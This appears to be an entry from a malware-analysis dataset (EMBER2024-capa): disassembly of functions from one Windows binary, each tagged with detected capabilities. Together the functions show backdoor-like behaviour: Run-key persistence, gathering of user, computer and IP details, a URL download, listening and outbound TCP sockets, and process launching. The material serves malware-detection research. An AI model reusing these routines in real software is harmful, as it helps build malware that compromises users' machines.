joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4473b0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x44b08c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x44b084]
sub esp, 4
test ebx, ebx
je 0x447405
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x4473fe
test esi, esi
je 0x4473fe
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4473e0
mov dword [esp], 0x44b08c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x447740
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x447765
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x447770
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x447765
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x4477b8
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x4477ae
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x4477ba
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x4477a0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x401394
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004021b8
test esi, esi
jne 0x4013ca
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.004022a4
jmp 0x4013e8
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004012a8
mov edi, eax
test esi, esi
je 0x4013e8
cmp dword [ebx], 0
je 0x4013e8
dec esi
jmp 0x4013d1
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x403698
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebx
push 0
push 0
call sub.wininet.dll_InternetGetConnectedState
cmp eax, 1
sbb ebx, ebx
inc ebx
push 0x7d0
call sub.kernel32.dll_Sleep
cmp bl, 1
jne 0x403699
pop ebx
ret

Function at 0x4036bc
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x104], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x403747
push dword fs:[eax]
mov dword fs:[eax], esp
mov esi, 0x403758
lea edi, [ebp - 0xff]
mov ecx, 0x3f
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
push 0xfe
lea eax, [ebp - 0xff]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x104]
lea edx, [ebp - 0xff]
mov ecx, 0xff
call fcn.00402320
mov edx, dword [ebp - 0x104]
mov eax, ebx
mov ecx, 0x403860
call fcn.004023a8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40374e
lea eax, [ebp - 0x104]
call fcn.004021b8
ret

Function at 0x403864
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x104], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4038ef
push dword fs:[eax]
mov dword fs:[eax], esp
mov esi, 0x403900
lea edi, [ebp - 0xff]
mov ecx, 0x3f
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
push 0xfe
lea eax, [ebp - 0xff]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea eax, [ebp - 0x104]
lea edx, [ebp - 0xff]
mov ecx, 0xff
call fcn.00402320
mov edx, dword [ebp - 0x104]
mov eax, ebx
mov ecx, 0x403a08
call fcn.004023a8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4038f6
lea eax, [ebp - 0x104]
call fcn.004021b8
ret

Function at 0x403a0c
Capabilities:
Get common file path

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff00
mov ebx, eax
mov esi, 0x403a4c
mov edi, esp
mov ecx, 0x3f
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
push esp
push 0xfe
call sub.kernel32.dll_GetTempPathA
mov eax, ebx
mov edx, esp
mov ecx, 0xff
call fcn.00402320
add esp, 0x100
pop edi
pop esi
pop ebx
ret
Function at 0x403e3c
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffcd8
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x328], edx
mov dword [ebp - 0x320], edx
mov dword [ebp - 0x324], edx
mov dword [ebp - 0x31c], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00402544
lea esi, [ebp - 0x14c]
xor eax, eax
push ebp
push 0x404001
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0040235c
mov edx, dword [ebp - 4]
cmp byte [edx + eax - 1], 0x5c
je 0x403ea5
lea eax, [ebp - 4]
mov edx, 0x404018
call fcn.00402364
push esi
lea eax, [ebp - 0x31c]
mov ecx, 0x404024
mov edx, dword [ebp - 4]
call fcn.004023a8
mov eax, dword [ebp - 0x31c]
call fcn.00402554
push eax
call sub.kernel32.dll_FindFirstFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x403fd6
mov eax, dword [esi + 0x1c]
mov edx, eax
neg eax
add eax, dword [esi + 0x20]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0xc]
call fcn.004031b8
push dword [ebp - 8]
lea edx, [ebp - 0x320]
mov eax, dword [esi]
call fcn.0040314c
push dword [ebp - 0x320]
push 0x404030
lea eax, [ebp - 0x324]
lea edx, [esi + 0x2c]
mov ecx, 0x104
call fcn.00402320
push dword [ebp - 0x324]
push 0x404030
push dword [ebp - 0xc]
push 0x404030
push 0x40403c
lea eax, [ebp - 8]
mov edx, 8
call fcn.0040241c
push esi
push ebx
call sub.kernel32.dll_FindNextFileA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x403ed5
push ebx
call sub.kernel32.dll_FindClose
push 0x404048
push dword [ebp - 4]
push 0x40403c
push dword [ebp - 8]
lea eax, [ebp - 8]
mov edx, 4
call fcn.0040241c
lea eax, [ebp - 0x328]
call fcn.00403a0c
lea eax, [ebp - 0x328]
mov edx, 0x404054
call fcn.00402364
mov edx, dword [ebp - 0x328]
lea eax, [ebp - 0x318]
call fcn.004016b4
lea eax, [ebp - 0x318]
call fcn.00401450
call fcn.0040120c
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x318]
call fcn.004026e4
call fcn.00401d18
call fcn.0040120c
lea eax, [ebp - 0x318]
call fcn.0040184c
call fcn.0040120c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404008
lea eax, [ebp - 0x328]
mov edx, 4
call fcn.004021dc
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004021dc
ret

Function at 0x404064
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4040e7
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
call sub.shell32.dll_SHGetMalloc
test eax, eax
jne 0x4040d1
lea eax, [ebp - 8]
push eax
push esi
push ebx
call sub.shell32.dll_SHGetSpecialFolderLocation
mov eax, 0x104
call fcn.00401128
mov ebx, eax
push ebx
mov eax, dword [ebp - 8]
push eax
call sub.shell32.dll_SHGetPathFromIDListA
mov eax, edi
mov edx, ebx
call fcn.004022e4
mov eax, ebx
call fcn.00401140
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [eax]
call dword [eax + 0x14]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4040ee
lea eax, [ebp - 4]
call fcn.0040295c
ret
Function at 0x4042f0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
xor ecx, ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00402544
xor eax, eax
push ebp
push 0x40437b
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00402554
push eax
push 0x404388
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
jbe 0x40434b
lea eax, [ebp - 8]
mov edx, 0x404398
call fcn.00402250
mov eax, dword [ebp - 8]
call fcn.00404268
jmp 0x404360
lea eax, [ebp - 8]
mov edx, 0x4043b4
call fcn.00402250
mov eax, dword [ebp - 8]
call fcn.00404268
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404382
lea eax, [ebp - 8]
mov edx, 2
call fcn.004021dc
ret
Function at 0x404478
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe14
xor eax, eax
mov dword [ebp - 0x1ec], eax
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x1e4], eax
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1dc], eax
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x4046e3
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
mov edx, 0x105
call fcn.00402680
push 0x105
mov eax, dword [ebp - 8]
call fcn.00402554
push eax
mov eax, dword [0x4096fc]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
mov eax, dword [ebp - 8]
call fcn.00402554
mov edx, eax
lea eax, [ebp - 0x1d8]
call fcn.004022e4
mov eax, dword [ebp - 0x1d8]
call fcn.0040235c
mov edx, eax
lea eax, [ebp - 8]
call fcn.00402680
cmp byte [0x409956], 0
je 0x404522
lea eax, [ebp - 8]
mov edx, dword [0x409958]
call fcn.00402250
lea eax, [ebp - 0x1dc]
push eax
mov eax, dword [ebp - 8]
call fcn.0040235c
mov ecx, eax
sub ecx, 4
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.004025b0
mov edx, dword [ebp - 0x1dc]
lea eax, [ebp - 4]
mov ecx, 0x4046f8
call fcn.004023a8
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1d4]
call fcn.004016b4
lea eax, [ebp - 0x1d4]
call fcn.00401450
call fcn.0040120c
mov edx, 0x404708
lea eax, [ebp - 0x1d4]
call fcn.004026e4
call fcn.00401d18
call fcn.0040120c
push 0x404714
push dword [ebp - 8]
push 0x404724
lea eax, [ebp - 0x1e0]
mov edx, 3
call fcn.0040241c
mov edx, dword [ebp - 0x1e0]
lea eax, [ebp - 0x1d4]
call fcn.004026e4
call fcn.00401d18
call fcn.0040120c
push 0x404730
push dword [ebp - 8]
push 0x404744
lea eax, [ebp - 0x1e4]
mov edx, 3
call fcn.0040241c
mov edx, dword [ebp - 0x1e4]
lea eax, [ebp - 0x1d4]
call fcn.004026e4
call fcn.00401d18
call fcn.0040120c
mov edx, 0x404758
lea eax, [ebp - 0x1d4]
call fcn.004026e4
call fcn.00401d18
call fcn.0040120c
push 0x404714
push dword [ebp - 4]
push 0x404724
lea eax, [ebp - 0x1e8]
mov edx, 3
call fcn.0040241c
mov edx, dword [ebp - 0x1e8]
lea eax, [ebp - 0x1d4]
call fcn.004026e4
call fcn.00401d18
call fcn.0040120c
push 0x404730
push dword [ebp - 4]
push 0x404764
lea eax, [ebp - 0x1ec]
mov edx, 3
call fcn.0040241c
mov edx, dword [ebp - 0x1ec]
lea eax, [ebp - 0x1d4]
call fcn.004026e4
call fcn.00401d18
call fcn.0040120c
lea eax, [ebp - 0x1d4]
call fcn.0040184c
call fcn.0040120c
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00402554
push eax
push 0x404770
push 0
call sub.shell32.dll_ShellExecuteA
call fcn.004020d0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4046ea
lea eax, [ebp - 0x1ec]
mov edx, 6
call fcn.004021dc
lea eax, [ebp - 8]
mov edx, 2
call fcn.004021dc
ret
Function at 0x404778
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
xor eax, eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x404852
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x4098d9
call fcn.00402314
cmp dword [0x4098bc], 1
jne 0x404807
lea eax, [ebp - 8]
push eax
push 2
push 0
push 0x404860
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
mov eax, dword [ebp - 4]
call fcn.00402554
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegDeleteValueA
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
lea eax, [ebp - 8]
push eax
push 2
push 0
push 0x404890
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
push 0x4048a0
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegDeleteValueA
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
cmp dword [0x409874], 0
jne 0x40481d
mov eax, dword [0x40970c]
push eax
call sub.wsock32.dll_closesocket
jmp 0x404828
mov eax, dword [0x409704]
push eax
call sub.wsock32.dll_closesocket
call sub.wsock32.dll_WSACleanup
push 0x3e8
call sub.kernel32.dll_Sleep
call fcn.00404478
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404859
lea eax, [ebp - 4]
call fcn.004021b8
ret

Function at 0x4048a4
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdf4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x20c], ebx
mov dword [ebp - 0x208], ebx
mov dword [ebp - 0x204], ebx
mov dword [ebp - 0x200], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4049fa
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1fc]
push eax
xor edx, edx
mov al, 2
call fcn.00402d14
push eax
call sub.wsock32.dll_WSAStartup
push 0x65
lea eax, [ebp - 0x69]
push eax
call sub.wsock32.dll_gethostname
lea eax, [ebp - 0x69]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
jne 0x404942
mov eax, ebx
mov edx, 0x404a14
call fcn.0040220c
mov eax, esi
mov edx, 0x404a20
call fcn.0040220c
mov eax, edi
mov edx, 0x404a20
call fcn.0040220c
mov eax, dword [ebp + 8]
mov edx, 0x404a2c
call fcn.0040220c
jmp 0x4049dc
test eax, eax
je 0x4049dc
mov edx, dword [eax + 0xc]
test edx, edx
je 0x4049dc
mov eax, dword [edx]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4049dc
lea edx, [ebp - 0x200]
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
call fcn.0040314c
mov edx, dword [ebp - 0x200]
mov eax, ebx
call fcn.0040220c
lea edx, [ebp - 0x204]
mov eax, dword [ebp - 4]
movzx eax, byte [eax + 1]
call fcn.0040314c
mov edx, dword [ebp - 0x204]
mov eax, esi
call fcn.0040220c
lea edx, [ebp - 0x208]
mov eax, dword [ebp - 4]
movzx eax, byte [eax + 2]
call fcn.0040314c
mov edx, dword [ebp - 0x208]
mov eax, edi
call fcn.0040220c
lea edx, [ebp - 0x20c]
mov eax, dword [ebp - 4]
movzx eax, byte [eax + 3]
call fcn.0040314c
mov edx, dword [ebp - 0x20c]
mov eax, dword [ebp + 8]
call fcn.0040220c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404a01
lea eax, [ebp - 0x20c]
mov edx, 4
call fcn.004021dc
ret
Function at 0x404a30
Capabilities:
Download url
Get hostname
Get session user name
Receive data

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x28
push 0
push 0
dec ecx
jne 0x404a38
push ecx
push ebx
xor eax, eax
push ebp
push 0x404c21
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
mov edx, 0x404c38
call fcn.00402250
xor ebx, ebx
lea eax, [ebp - 0x39]
xor ecx, ecx
mov edx, 0x11
call fcn.00401948
mov dword [ebp - 0x28], 0x400
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x39]
push eax
call sub.advapi32.dll_GetUserNameA
lea eax, [ebp - 4]
lea edx, [ebp - 0x39]
mov ecx, 0x11
call fcn.00402320
lea eax, [ebp - 0x39]
xor ecx, ecx
mov edx, 0x11
call fcn.00401948
mov dword [ebp - 0x28], 0x400
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x39]
push eax
call sub.kernel32.dll_GetComputerNameA
lea eax, [ebp - 8]
lea edx, [ebp - 0x39]
mov ecx, 0x11
call fcn.00402320
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x18]
lea eax, [ebp - 0x14]
call fcn.004048a4
push dword [ebp - 0x14]
push 0x404c44
push dword [ebp - 0x18]
push 0x404c44
push dword [ebp - 0x1c]
push 0x404c44
push dword [ebp - 0x20]
lea eax, [ebp - 0x24]
mov edx, 7
call fcn.0040241c
mov edx, 0x409904
lea eax, [ebp - 0x94]
call fcn.004018d4
mov edx, 0x404c48
lea eax, [ebp - 0x94]
mov cl, 0x51
call fcn.004018a4
lea edx, [ebp - 0x94]
lea eax, [ebp - 0xe8]
call fcn.004018d4
mov edx, 0x404c50
lea eax, [ebp - 0xe8]
mov cl, 0x52
call fcn.004018a4
lea edx, [ebp - 0xe8]
lea eax, [ebp - 0x13c]
call fcn.004018d4
mov edx, 0x404c54
lea eax, [ebp - 0x13c]
mov cl, 0x53
call fcn.004018a4
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x40]
call fcn.00402314
push dword [ebp - 0x40]
push dword [ebp - 0x24]
push 0x404c60
push dword [ebp - 0x10]
lea edx, [ebp - 0x140]
mov eax, dword [0x4098b8]
call fcn.0040314c
push dword [ebp - 0x140]
push dword [ebp - 0x10]
lea eax, [ebp - 0x144]
mov edx, 0x4098ee
call fcn.00402314
push dword [ebp - 0x144]
push dword [ebp - 0x10]
push dword [ebp - 8]
push dword [ebp - 0x10]
push dword [ebp - 4]
push 0x404c6c
lea eax, [ebp - 0xc]
mov edx, 0xc
call fcn.0040241c
push 0
push 0
push 0x404c70
mov eax, dword [ebp - 0xc]
call fcn.00402554
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
jne 0x404bee
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404c28
lea eax, [ebp - 0x144]
mov edx, 2
call fcn.004021dc
lea eax, [ebp - 0x40]
call fcn.004021b8
lea eax, [ebp - 0x24]
mov edx, 9
call fcn.004021dc
ret
Function at 0x404c74
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd58
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x29c], ecx
mov dword [ebp - 0x2a0], ecx
mov dword [ebp - 0x2a4], ecx
mov dword [ebp - 0x2a8], ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00402544
xor eax, eax
push ebp
push 0x404dd2
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
lea eax, [ebp - 0x298]
push eax
xor edx, edx
mov al, 2
call fcn.00402d14
push eax
call sub.wsock32.dll_WSAStartup
xor ecx, ecx
push ebp
push 0x404da5
push dword fs:[ecx]
mov dword fs:[ecx], esp
push pe_nt_image_headers32
lea eax, [ebp - 0x105]
push eax
call sub.wsock32.dll_gethostname
lea eax, [ebp - 0x105]
mov edx, dword [ebp - 4]
call fcn.00403258
lea eax, [ebp - 0x105]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x404d92
mov edx, dword [eax + 0xc]
test edx, edx
je 0x404d92
mov ebx, dword [edx]
test ebx, ebx
je 0x404d92
lea edx, [ebp - 0x29c]
xor eax, eax
mov al, byte [ebx]
call fcn.0040314c
push dword [ebp - 0x29c]
push 0x404dec
lea edx, [ebp - 0x2a0]
xor eax, eax
mov al, byte [ebx + 1]
call fcn.0040314c
push dword [ebp - 0x2a0]
push 0x404dec
lea edx, [ebp - 0x2a4]
xor eax, eax
mov al, byte [ebx + 2]
call fcn.0040314c
push dword [ebp - 0x2a4]
push 0x404dec
lea edx, [ebp - 0x2a8]
xor eax, eax
mov al, byte [ebx + 3]
call fcn.0040314c
push dword [ebp - 0x2a8]
mov eax, esi
mov edx, 7
call fcn.0040241c
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404dac
call sub.wsock32.dll_WSACleanup
ret

Function at 0x404df0
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebx
add esp, 0xfffffe60
mov ebx, dword [0x4098b8]
push esp
xor edx, edx
mov al, 2
call fcn.00402d14
push eax
call sub.wsock32.dll_WSAStartup
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov dword [0x40970c], eax
mov word [esp + 0x190], 2
push 0
call sub.wsock32.dll_htonl
mov dword [esp + 0x194], eax
push ebx
call sub.wsock32.dll_htons
mov word [esp + 0x192], ax
cmp dword [0x409878], 1
jne 0x404e51
call fcn.00403698
push 0x10
lea eax, [esp + 0x194]
push eax
mov eax, dword [0x40970c]
push eax
call sub.wsock32.dll_bind
push 0x29
push 0x402
mov eax, dword [0x409700]
push eax
mov eax, dword [0x40970c]
push eax
call sub.wsock32.dll_WSAAsyncSelect
push 2
mov eax, dword [0x40970c]
push eax
call sub.wsock32.dll_listen
cmp dword [0x409900], 1
jne 0x404e99
call fcn.00404a30
add esp, 0x1a0
pop ebx
ret
Function at 0x404ea4
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe58
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x1a8], ecx
mov dword [ebp - 4], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x405011
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x194]
push eax
xor edx, edx
mov al, 2
call fcn.00402d14
push eax
call sub.wsock32.dll_WSAStartup
lea eax, [ebp - 0x1a4]
xor ecx, ecx
mov edx, 0x10
call fcn.00401948
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov dword [0x409704], eax
mov word [ebp - 0x1a4], 2
cmp ebx, 0x50
je 0x404f44
push 0
call sub.wsock32.dll_htons
mov word [ebp - 0x1a2], ax
push 0x405020
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x1a0], eax
push 0x10
lea eax, [ebp - 0x1a4]
push eax
mov eax, dword [0x409704]
push eax
call sub.wsock32.dll_connect
push ebx
call sub.wsock32.dll_htons
mov word [ebp - 0x1a2], ax
push esi
call sub.wsock32.dll_inet_addr
mov ebx, eax
mov dword [ebp - 0x1a0], ebx
inc ebx
jne 0x404f91
lea eax, [ebp - 0x1a8]
mov edx, esi
call fcn.004022e4
mov eax, dword [ebp - 0x1a8]
lea edx, [ebp - 4]
call fcn.00404c74
mov eax, dword [ebp - 4]
call fcn.00402554
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x1a0], eax
cmp dword [0x409878], 1
jne 0x404f9f
call fcn.00403698
push 0x10
lea eax, [ebp - 0x1a4]
push eax
mov eax, dword [0x409704]
push eax
call sub.wsock32.dll_connect
inc eax
je 0x404fe4
mov byte [0x409955], 1
push 1
mov eax, dword [0x409700]
push eax
call sub.user32.dll_KillTimer
push 0x29
push 0x402
mov eax, dword [0x409700]
push eax
mov eax, dword [0x409704]
push eax
call sub.wsock32.dll_WSAAsyncSelect
jmp 0x404ff0
mov byte [0x409955], 0
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405018
lea eax, [ebp - 0x1a8]
call fcn.004021b8
lea eax, [ebp - 4]
call fcn.004021b8
ret
Function at 0x4050b4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee4
push ebx
xor ebx, ebx
mov dword [ebp - 0x11c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00402544
mov eax, dword [ebp - 8]
call fcn.00402544
xor eax, eax
push ebp
push 0x4051fe
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
mov eax, dword [ebp - 4]
call fcn.00402554
push eax
push ebx
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x405140
mov dword [ebp - 0x10], pe_nt_image_headers32
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x14]
push eax
push 0
mov eax, dword [ebp - 8]
call fcn.00402554
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
lea eax, [ebp - 0x18]
lea edx, [ebp - 0x118]
mov ecx, pe_nt_image_headers32
call fcn.00402320
cmp byte [ebp + 0xc], 0
je 0x4051c5
lea edx, [ebp - 0x11c]
mov eax, dword [ebp - 0x18]
call fcn.004030bc
mov edx, dword [ebp - 0x11c]
lea eax, [ebp - 0x18]
call fcn.00402250
mov eax, dword [ebp - 0x18]
cmp byte [eax], 0x22
jne 0x4051a2
lea eax, [ebp - 0x18]
push eax
mov edx, dword [ebp - 0x18]
mov eax, 0x405214
call fcn.00402638
mov ecx, eax
add ecx, 2
mov edx, 2
mov eax, dword [ebp - 0x18]
call fcn.004025b0
jmp 0x4051c5
lea eax, [ebp - 0x18]
push eax
mov edx, dword [ebp - 0x18]
mov eax, 0x405214
call fcn.00402638
mov ecx, eax
add ecx, 3
mov edx, 1
mov eax, dword [ebp - 0x18]
call fcn.004025b0
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x18]
call fcn.0040220c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405205
lea eax, [ebp - 0x11c]
call fcn.004021b8
lea eax, [ebp - 0x18]
call fcn.004021b8
lea eax, [ebp - 8]
mov edx, 2
call fcn.004021dc
ret
Function at 0x40521c
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
xor ecx, ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00402544
xor eax, eax
push ebp
push 0x4052eb
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 4]
call fcn.00402554
push eax
call sub.kernel32.dll_GetDiskFreeSpaceExA
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x18]
sbb edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
push 0x405300
push dword [ebp - 0xc]
push dword [ebp - 0x10]
lea eax, [ebp - 0x24]
call fcn.004031b8
push dword [ebp - 0x24]
push 0x405300
push dword [ebp - 0x14]
push dword [ebp - 0x18]
lea eax, [ebp - 0x28]
call fcn.004031b8
push dword [ebp - 0x28]
push 0x405300
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
lea eax, [ebp - 0x2c]
call fcn.004031b8
push dword [ebp - 0x2c]
push 0x405300
mov eax, ebx
mov edx, 7
call fcn.0040241c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4052f2
lea eax, [ebp - 0x2c]
mov edx, 3
call fcn.004021dc
lea eax, [ebp - 4]
call fcn.004021b8
ret